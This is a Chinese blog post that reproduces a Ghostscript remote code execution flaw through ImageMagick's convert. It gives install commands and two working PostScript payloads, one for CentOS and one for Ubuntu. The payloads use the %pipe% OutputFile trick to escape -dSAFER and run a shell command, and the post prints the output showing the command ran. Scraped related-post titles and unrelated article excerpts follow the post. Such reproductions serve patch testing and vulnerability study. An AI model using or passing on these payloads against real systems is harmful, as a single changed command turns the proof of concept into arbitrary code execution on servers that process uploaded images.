昨天爆出来的Ghostscript远程代码执行漏洞,复现过程如下

1、确认系统是否安装了gs

执行命令

gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null

 

如果命令没有执行成功,那么恭喜你,你没有这个漏洞

要想复现这个漏洞,那么你需要

yum install ghostscript

ubuntu

[root@srv62 ~]# cd /usr/local
[root@srv62 src]# wget http://ghostscript.com/releases/ghostscript-8.71.tar.gz
[root@srv62 src]# tar zxvf ghostscript-8.71.tar.gz
[root@srv62 src]# cd ghostscript-8.71
[root@srv62 ghostscript-8.71]# ./configure --prefix=/usr
[root@srv62 ghostscript-8.71]# mkdir obj
[root@srv62 ghostscript-8.71]# mkdir bin
[root@srv62 ghostscript-8.71]# make all
[root@srv62 ghostscript-8.71]# make install

2、命令执行成功了,说明系统已经安装了ghost script,然后我们来构造poc

vim shell.jpe

jpeg内容(centos)

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

然后执行

/usr/local/bin/convert shell.jpeg what.gif

现象:

uid=(rong) gid=(rong) groups=(rong)
convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap= -dAlignToPixels= -dGridFitTT= "-sDEVICE=pngalpha" -dTextAlphaBits= -dGraphicsAlphaBits= "-r72x72" -g612x792 "-sOutputFile=/tmp/magick-55636ecO6hPgbKE2Y%d" "-f/tmp/magick-55636NeGRLWbqeU7E" "-f/tmp/magick-55636jIlkxkc2rfdl" -c showpage' (-1) @ error/utility.c/SystemCommand/2051.
convert: no images defined `what.gif' @ error/convert.c/ConvertImageCommand/3187

ubuntu环境下POC:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

Ghostscript远程代码执行漏洞利用方法的更多相关文章

  1. [视频]K8飞刀--WinRAR远程代码执行漏洞利用视频

    [视频]K8飞刀--WinRAR远程代码执行漏洞利用视频 链接:https://pan.baidu.com/s/17_0kgNsDejJS0hvgLiMD7A 提取码:zkc2

  2. ghostscript远程代码执行漏洞复现

    这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下 1.关于ghostscript Ghostscript是一套建基于Adobe.PostScr ...

  3. EOS节点远程代码执行漏洞细节

    这是一个缓冲区溢出越界写漏洞 漏洞存在于在 libraries/chain/webassembly/binaryen.cpp文件的78行, Function binaryen_runtime::ins ...

  4. 泛微e-cology OA系统远程代码执行漏洞及其复现

    泛微e-cology OA系统远程代码执行漏洞及其复现 2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞.攻击者通过调用BeanShell组件中 ...

  5. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  6. Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程

    v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...

  7. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  8. Office CVE-2017-8570远程代码执行漏洞复现

    实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...

  9. Apache ActiveMQ Fileserver远程代码执行漏洞

    扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ ...

随机推荐

  1. Condition使用

    面试题:写一个固定容量同步容器,拥有put和get方法,以及getCount方法,    能够支持2个生产者线程以及10个消费者线程的阻塞调用 有两种方法 1.使用wait和notify/notify ...

  2. 树莓派raspberry Pi2 介绍

    Compared to the Raspberry Pi 1 it has: A 900MHz quad-core ARM Cortex-A7 CPU 1GB RAM Like the (Pi 1) ...

  3. Debian 版本历史

    Production Releases Version Code name Release date End of life date 8.0 jessie April 25th 2015   7.0 ...

  4. 如何使用 Jenkins、GitHub 和 Docker 在 Azure 中的 Linux VM 上创建开发基础结构

    若要将应用程序开发的生成和测试阶段自动化,可以使用持续集成和部署 (CI/CD) 管道. 本教程介绍如何在 Azure VM 上创建 CI/CD 管道,包括如何: 创建 Jenkins VM 安装并配 ...

  5. python处理excel(一):读

    功能:读取一个excel里的第2个sheet,将该sheet的内容全部输出. #coding=utf8 import xlrd def read_excel(): workbook = xlrd.op ...

  6. [WinCE] Win CE 屏幕截图

    VS2005自带了这个工具,这个工具的名称为:“远程放大”,其路径为:"C:\Program Files\CE Remote Tools\5.01\bin\cczoom.exe" ...

  7. 使用eclipse遇到的unable to install breakpoint的问题

    调试一个tomcat工程,设置好断点,启动工程,结果出现了下面的错误: 继续运行,再进入断点之前,还会再度提示,但是最终会命中断点. 使用CGLIB查找关键字,了解到CGLIB是一个AOP的拦截库,想 ...

  8. java:通过Calendar类正确计算两日期之间的间隔

    在开发Android应用时偶然需要用到一个提示用户已用天数的功能,从实现上来看无非就是持久化存入用户第一次使用应用的时间firstTime(通过SharedPreferences .xml.sqlit ...

  9. Google, Facebook, Amazon and Microsoft Salaries

    https://blog.step.com/2016/04/08/an-open-source-project-for-tech-salaries/ Step.com Crowdsource your ...

  10. Linux su命令详解

    su switch user,用于切换用户用 su常见命令参数 用法:su [选项]... [-] [用户 [参数]... ] Change the effective user id and gro ...